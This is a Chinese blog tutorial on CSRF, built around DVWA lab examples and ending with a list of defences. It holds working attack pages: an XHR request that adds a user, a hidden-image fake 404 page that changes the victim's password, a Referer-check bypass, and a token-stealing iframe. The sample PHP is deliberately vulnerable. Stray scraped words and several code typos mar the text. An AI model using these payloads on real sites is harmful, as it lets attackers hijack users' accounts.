CSRF漏洞原理淺談

CSRF漏洞原理淺談

By : Mirror王宇陽javascript

E-mail : mirrorwangyuyang@gmail.comphp

筆者並未深挖過CSRF,內容居可能是參考《Web安全深度剖析》、《白帽子講web安全》等諸多網絡技術文章html

CSRF跨站請求攻擊,和XSS有類似之處;攻擊者利用CSRF能夠盜用用戶的身份進行攻擊前端

CSRF攻擊原理

部分摘自《Web安全深度剖析》第十章java

當咱們打開或登陸某個網站後,瀏覽器與網站所存放的服務器將會產生一個會話,在會話結束前,用戶就能夠利用具備的網站權限對網站進行操做(如:發表文章、發送郵件、刪除文章等)。會話借宿後,在進行權限操做,網站就會告知會話超期或從新登陸。mysql

當登陸網站後,瀏覽器就會和可信的站點創建一個通過認證的會話。全部經過這個通過認證的會話發送請求,都被認定爲可信的行爲,例如轉帳、匯款等操做。當這個會話認證的時間過長或者自主結束斷開;必須從新創建通過認證的可信安全的會話。web

CSRF攻擊是創建在會話之上。好比:登陸了網上銀行,正在進行轉帳業務,這是攻擊者給你發來一個URL,這個URL是攻擊者精心構造的Payload,攻擊者精心構造的轉帳業務代碼,並且與你登陸的是同一家銀行,當你認爲這是安全的連接後點擊進去,你的錢就沒了!sql

好比想給用戶xxser轉帳1000元,正常的URL是:後端

secbug.org/pay.jsp?user=xxser&money=1000

而攻擊者構造的URL則是:跨域

secbug.org/pay.jsp?user=hack&money=10000

CSRF漏洞利用

CSRF漏洞經常被用來製做蠕蟲攻擊、SEO流量等

分析漏洞代碼

  • 獲取GET參數username和password,而後經過select語句查詢是否存在對應的用戶,若是存在經過$_SESSION設置一個session:isadmin=admin ,不然設置session:isadmin=guest
  • 判斷session中的isadmin是否爲admin,若是isadmin!=admin說明用戶沒有登陸,那麼跳轉到登陸頁面。因此只有在管理員登陸後才能夠執行用戶的操做
  • 獲取POST參數username和password而後插入users表中,完成添加用戶的操做
<?php
    
    session_start();
    if (isset($_GET['login'])) {
        $con=mysqli_connect("127.0.0.1","root","123456","test");
        if (mysql_connect_errno()) {
            echo "鏈接失敗".mysql_connect_errno();
        }
        $username = addslashes($_GET['username']);
        $password = $_GET['password'];
        $result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");
        $row = mysqli_fetch_array($result);
        if($row){
            $_SESSION['isadmin'] = 'admin';
            exit("登陸成功");
        } else{
            $_SESSION['isadmin'] = 'guest';
            exit("登陸失敗");
        }
    } else{
        $_SESSION['isadmin'] = 'guest';
    }
    if($_SESSION['isadmin'] != 'admin'){
        exit("請登陸……");
    }
    if(isset($_POST['submit'])){
        if (isset($_POST['username'])) {
            $result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");
            exit($_POST['username']."添加成功");
        }
    }
?>

這是後臺php源碼

攻擊者須要作的就是構造一個請求,請求的URL就是php文件的URL,參數是submit=1&username=1&password=1,請求payload會自動的利用源碼的特性添加一個用戶

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>CSRF漏洞實踐</title>
</head>
<body>
    <script type="text/javascript">
        var pauses = new Array("16");
        var methods = new Array("POST");
        var urls = new Array("isadmin.php");
        var params = new Array("submit=1&username=1&password=1");
        function pausecomp(millis){
            var date = new Date();
            var curDate = null ; 
            do{
                curDate = new Date();
            }while(curDate-date<millis);
        }
        function run(){
            var count = 1 ; 
            var i = 0 ; 
            for( i=0 ; i < count ; i ++){
                makeXHR(methods[i],urls[i],params[i]);
                pausecomp(pausecomp[i]);

            }
        }
        var http_request = false ; 
        function makeXHR(method , url , paramters){
            http_request = false ; 
            if(window.XMLHttpRequest){
                http_request = new XMLHttpRequest() ; 
                if(http_request.overrideMinmeType){
                    http_request.overrideMinmeType('text/html');
                }
            } else if(window.ActiveXObject){
                try{
                    http_request = new ActiveXObject("Msxml2.XMLHTTP");
                } catch(e){
                    try{
                        http_request = new ActiveXObject("Microsoft.XMLHTTP");
                    } catch (e){ }
                }
            }
            if(!http_request){
                alert('Cannot create XMLHTTP instance');
                return false;
            }
            if(method == 'GET'){
                if(url.indexOf('?') == -1){
                    url = url + '?' + paramters;
                } else{
                    url = url + '&' + paramters;

                }
                http_request.open(method,url,true);
                http_request.send("");

            } else if(method == 'POST'){
                http_request.open(method,url,true);
                http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded");
                http_request.setRequestHeader("Content-length",paramters.length);
                http_request.setRequestHeader("Connection","close");
                http_request.send(paramters);
            }
        }
    </script>
</body>
</html>

DVWA平臺CSRF

筆者找不到比較好的源碼,因而找到了DVWA~~

Low

  • 前端源碼

    <h3>Change your admin password:</h3>
    <br>
    <form action="#" method="GET">
      New password:<br>
      <input autocomplete="off" name="password_new" type="password"><br>
      Confirm new password:<br>
      <input autocomplete="off" name="password_conf" type="password"><br>
      <br>
      <input value="Change" name="Change" type="submit">
    </form>

    前端的源碼很是的簡單,是一個修改密碼的CSRF,表單採用GET方式Change提交

  • 後端源碼

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?>

    能夠看見後端接收數據後會驗證兩次密碼是否重複,而後修改密碼~~~

  • 構造Payload

    http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

    咱們將Payload發送給受害者,受害者處於會話保持(登陸狀態)中,受害者一旦點擊這個URL連接,就意味着受害者執行了一樣的操做;這個過程就是CSRF

    筆者處於的DVWA使用的登陸密碼,而個人密碼就被改成「123456」

  • 重點

    這裏的攻擊成立是利用受害者的Cookie向服務器發送僞造請求(Payload),若是用戶使用的是一個與xxser.com保持會話登陸的瀏覽器點擊Payload-URL,受害者的密碼就會發生更改。

    哦!對了!這麼裸露的攻擊Payload在2019年安全意識高端的現代,是不會有人點擊的!這個時候咱們就有好玩的一個工具叫:「短連接」,百度新浪的短網址服務均可以!

    爲了減小圖片內容,咱們當密碼修改後的頁面會提示「Password Changed.」

  • 高明的作法(從一位前輩copy過來的,忘記連接了!)

    都知道會出現提示,要想悄悄的修改!能夠創建一個攻擊網頁,誘騙受害者訪問

    <!DOCTYPE html>
    <html>
    <head>
      <meta charset="utf-8">
      <title>Payload</title>
    </head>
    <body>
      <img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none">
      <h1>404</h1>
      <h2>file not found.</h2>
    </body>
    </html>

    頁面的做用是加載一個僞404的頁面;實際上一旦訪問這個頁面,就會加載圖片,所謂加載圖片就是加載src屬性,而src屬性則爲Payload-URL,實際的行爲就是加載該html頁面的同時圖片會加載,也就執行了Payload 你說好很差玩!加載一個404僞頁面,就把本身的密碼給該了,並且本身還不知道!

Medium

  • 後端源碼( 添加了http_referer頭的校驗 )

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // HTTP_REFERER :查詢當前頁的前一頁的地址信息
        // SERVER_NAME  :獲取域名
        if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
            // stripos() :查字符第一次出現的位置,
            $pass_new  = $_GET[ 'password_new' ];
            $pass_conf = $_GET[ 'password_conf' ];
    
            // Do the passwords match?
            if( $pass_new == $pass_conf ) {
                // They do!
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                $pass_new = md5( $pass_new );
    
                // Update the database
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
                // Feedback for the user
                echo "<pre>Password Changed.</pre>";
            }
            else {
                // Issue with passwords matching
                echo "<pre>Passwords did not match.</pre>";
            }
        }
        else {
            // Didn't come from a trusted source
            echo "<pre>That request didn't look correct.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?>

    檢查HTTP_REFERER(http數據包的referer參數值)即上一級URL地址信息是否包含當前HTTP數據包中的Host參數值;包含則表示當前頁面是從DVWA即上一級URL合法的行爲。

    合法的http數據包:

    GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/
    Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
    X-Forwarded-For: 8.8.8.8
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1

    留意第2行、第8行

  • 分析繞過

    可是stripos()函數寫的頭驗證是能夠繞過的~ stripos()函數是屢次匹配; 只要包含了目標主機地址就能夠繞過stripos()函數寫的驗證語句

    若是咱們依舊按照創建一個僞造的攻擊頁面,stripos()頭驗證就會驗證,然而頁面並非來自DVWA;因而深挖stripos()函數的漏洞,發現函數會屢次匹配,因而思路就是~創建一個假的文件名,經過一個僞造的文件名,繞過stripos()的驗證~

  • Payload

    GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Referer: http://127.0.0.1/127.0.0.1.html
    Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
    X-Forwarded-For: 8.8.8.8
    Connection: keep-alive

    這裏注意!咱們將Payload命名爲「127.0.0.1.html」,

High

  • 後端源碼

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // 加入 Anti-CSRF token機制
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>

    加入 Anti-CSRF Token機制,用戶訪問改密頁面時,服務器返回token,只有用戶提交token參數才能夠進行改密行爲!

  • 分析繞過

    咱們構造Payload頁面的時候,就須要考慮到執行改密行爲必須向服務器發送token,而token只有在改密頁面才能夠得到;

    根據前輩的思路:利用受害者的cookie去改密頁面獲取token

    <script type="text/javascript">
    
        function attack()
    
      {
    
       document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
    
      document.getElementById("transfer").submit(); 
    
      }
    
    </script>
    
    <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
    
    </iframe>
    
    <body οnlοad="attack()">
    
      <form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/">
    
       <input type="hidden" name="password_new" value="password">
    
        <input type="hidden" name="password_conf" value="password">
    
       <input type="hidden" name="user_token" value="">
    
      <input type="hidden" name="Change" value="Change">
    
       </form>
    
    </body>

    攻擊思路是當受害者點擊進入這個頁面,腳本會經過一個看不見框架偷偷訪問修改密碼的頁面,獲取頁面中的token,並向服務器發送改密請求,以完成CSRF攻擊。

    然而理想與現實的差距是巨大的,這裏牽扯到了跨域問題,而如今的瀏覽器是不容許跨域請求的。這裏簡單解釋下跨域,咱們的框架iframe訪問的地址是http://169.254.36.73/DVWA-master/vulnerabilities/csrf/,位於服務器169.254.36.73上,而咱們的攻擊頁面位於黑客服務器上,二者的域名不一樣,域名B下的全部頁面都不容許主動獲取域名A下的頁面內容,除非域名A下的頁面主動發送信息給域名B的頁面,因此咱們的攻擊腳本是不可能取到改密界面中的user_token。

    因爲跨域是不能實現的,因此咱們要將攻擊代碼注入到目標服務器169.254.36.73中,纔有可能完成攻擊。下面利用High級別的XSS漏洞協助獲取Anti-CSRF token(由於這裏的XSS注入有長度限制,不可以注入完整的攻擊腳本,因此只獲取Anti-CSRF token)

    這裏的Name存在XSS漏洞,因而抓包,改參數,成功彈出token
    原文連接:https://blog.csdn.net/liweibin812/article/details/86468880

    img

筆者經過DVWA平臺的CSRF實例,簡單的總結了CSRF的特性和應對措施,也因爲筆者沒有就這方面進行研究,沒有辦法進一步深度的解剖原理

CSRF應對措施

  • 從DVWA的測試中總結:

    在Impossible級別的源碼中,利用了PDO技術防護SQL注入,防禦CSRF方面則要求用戶原始密碼;攻擊者在不知道原始密碼的狀況下是沒法進行CSRF的哦!筆者從網絡中搜集了幾篇文章,筆者對這些文章就不作剖解了直接copy地址

    PDO防SQL注入原理分析:https://www.cnblogs.com/leezhxing/p/5282437.html

CSRF防護手段

  • 使用POST,限制GET

    GET方式最容易受到CSRF攻擊,只要簡單的構造payload就可能致使CSRF;使用POST能夠大程度的減低CSRF曝光率

  • 瀏覽器Cookie策略

    老瀏覽器會攔截第三方本地Cookie的發送,而新瀏覽器則不會攔截髮送;

  • 添加驗證碼

    簡單粗暴還有效;能夠大程度的增長人機交互的過程,避免用戶被悄悄的偷襲

  • Referer Check

    檢查請求是否來自於合法的

  • Anti CSRF Token

    Token的值必須是隨機的,不可預測的。因爲Token的存在,攻擊者沒法再構造一個帶有合法Token的請求實施CSRF攻擊。另外使用Token時應注意Token的保密性,儘可能把敏感操做由GET改成POST,以form或AJAX形式提交,避免Token泄露。

  • 總結:

    CSRF攻擊是攻擊者利用用戶的身份操做用戶賬戶的一種攻擊方式,一般使用Anti CSRF Token來防護CSRF攻擊,同時要注意Token的保密性和隨機性。

相關文章
相關標籤/搜索